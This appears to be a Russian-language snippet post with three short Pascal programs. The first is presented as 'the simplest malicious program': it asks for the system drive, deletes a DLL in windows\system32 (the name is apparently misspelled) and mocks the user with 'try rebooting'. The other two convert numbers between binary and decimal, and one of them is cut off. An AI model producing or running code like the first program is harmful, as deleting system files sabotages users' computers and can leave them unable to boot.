Var
f : file;
s : string;
begin
writeln('Введи свой основной диск: ');
readln(s);
s:= s + '\windows\system32\hall.dll';
assign(f,s);
erase(f);
writeln('Капец компьтеру');
writeln('Попробуй перезагрузить может поможет :-) ');
readkey;
end.



Это самая простая вредоносная програма....

var a : string;

function BIN_DEC(x:string):longint;
const digits:array [0..1] of char = ('0','1');
var res,ves:longint; i,j:byte;
begin
res:=0; ves:=1;
for i:=length(x) downto 1 do begin
j:=0;
while (digits[j]<>x[i]) do inc(j);
res:=res+ves*j;
ves:=ves*2;
end;
BIN_DEC:=res;
end;

begin
readln( a );
writeln( BIN_DEC(a) );...

var a : integer;

function DEC_BIN(x:longint):string;
const digits:array [0..1] of char = ('0','1');
var res:string; d:0..1;
begin
res:='';
while (x<>0) do begin
d:=x mod 2; res:=digits[d]+res;
x:=x div 2;
end;
DEC_BIN:=res;
end;

begin
readln( a );
writeln( DEC_BIN(a) );
end.

Програма переводит цыфры в бинарный код